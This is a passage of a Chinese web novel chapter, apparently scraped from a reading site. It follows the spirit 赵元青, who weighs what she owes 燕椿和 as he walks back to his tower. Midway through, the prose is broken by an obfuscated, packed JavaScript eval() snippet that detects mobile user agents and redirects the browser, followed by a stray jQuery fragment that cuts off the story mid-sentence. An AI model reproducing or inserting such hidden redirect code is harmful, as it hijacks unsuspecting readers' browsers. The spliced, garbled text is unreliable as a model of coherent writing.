119. 胥州的燕椿和篇十二(第2页)
她也习惯自己不先付出,就无法获得。习惯自己要付出多些,才能获得一些。这没什么不好,因为她没有想要的。
她心中是有数的,也觉得自己并非大家以为的那种傻人。总之,所有的关系都应该保持在一定程度之内,这样对双方都很好,不会伤人,也不会自伤。
这样,一饮一啄,枯荣有律,聚散有时,才是正理。
互不相欠,或者她多付出些都可以。这样在她的账本中,就是平衡的。
但燕椿和……燕椿和怎么能做这么多呢?做这么多的话,她要怎么还?这样会失控。
本来她打算好的,这次带来的礼物,就可以大概互不相欠,即使会有一些稀薄缘分,朝阳一出,也会散尽。
可这次,她怎么平呢?她好像做什么都平不上,这样,算什么呢?她感觉有些慌。明明是如露水般转瞬即逝的薄缘,是大人间的心照不宣,本来她甚至都不需要,她是想远离的,那时她已经决定去淮州了,可一切都乱了。
那夜不自觉伸出又想要缩回的手打断了决心。
她想这样也好,没事,并不会改变什么,赵元青只是赵元青,不会改变什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313798|156408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
可如今并不是如此,若并非如此……赵元青也感到怕。
她像是被燕椿和拽着的风筝,她看着燕椿和吐完帮她收拾好东西,慢慢又回到青石路上慢慢走。她根本不用自己动,渐渐飘过石径,绿林,燕椿和走得很慢,他后背的渗出的血已经凝固,衣裳破的部分被夜风吹得不断抖动,散乱的发也扬起,像凄凉落魄的男鬼,其实还挺好笑的,她试图扯着嘴角想要笑一下。
燕椿和好笨啊,还好,神魂不会流泪,不对,其实有些可惜,因为神魂如果可以流泪的话,她哭时,谁也不会见到,这样她才敢哭出声,赵元青试图张嘴嚎哭两声,她现在真的很难过,不知道怎么办了。
此时一阵劲风又吹过,燕椿和停下脚步,手摸了摸自己肩膀,然后继续往前走。
赵元青跟在燕椿和身后,大声哭起来,哭到最后沧州话琼州话,还有淅川话胡乱地说个不停,一时骂自己,一时骂燕椿和。可那哭,对燕椿和来说,只是吹拂在脸上的风。
她觉得不对,觉得可悲,她的道不对了,全错了。
前三十多年白过了。
她甚至不知道该哭自己还是该哭燕椿和,她觉得他们俩……
反正也不会有人看见的,反正也没有眼泪,反正……反正现在也回不去自己身体。
可胥州的月亮盈盈,山风清冽,树林静默,它们都瞧得见,她跟个风筝一样,牢牢地,被燕椿和拴住了。
她哭得像个三四岁什么都不懂的孩子,一路被燕椿和牵着,回了他住的地方,他喜欢住在高的地方,这是一个五层阁楼,华贵非常,黑色廊柱镌刻春燕,椿树,龙和麒麟。
燕椿和住在最上面,这是他自小长大的地方。
他不喜欢人,若是他从前出去游历或在江州,这阁楼就空着。
燕椿和沿楼梯一步一步走,他要换身衣服再赶去赵元青处,他不想让她看到自己这幅模样。
踏入卧房,燕椿和褪下上身袍子和中衣,赤裸上半身来到镜子处,扭头看了一下后肩有些青紫,背后被地上石头划破,出了些血渍。拿脏衣服胡乱擦了擦,到衣柜前手一顿,轻拂过与赵元青初次见面那件,转为挑了件赭红色,从妆奁中拿出她送他的竹簪,边下楼边挽起发。
这回他直接用轻功纵身过去,她从刚刚燕椿和脱衣服时就忘了哭,木木地被他拽着,她被吓到了,也死心了。
哭也是需要时机的,年纪越大越哭不出来。她过了刚刚那个时机,就哭不出来了。她飘在半空中盘腿坐着,单手支着脸,怔怔望着在前面下方走着的他。
他走到半路停了一次,仿佛还有些难受,但是他表情,他的表情,从他踏入水榭时,到现在,都没变过。
那张脸,像戴上了一张面无表情的面具,除了还能眨眼,但其他的,到现在,一点都没变过。
赵元青飘到他面前,仔细看了看他,认命地叹了口气。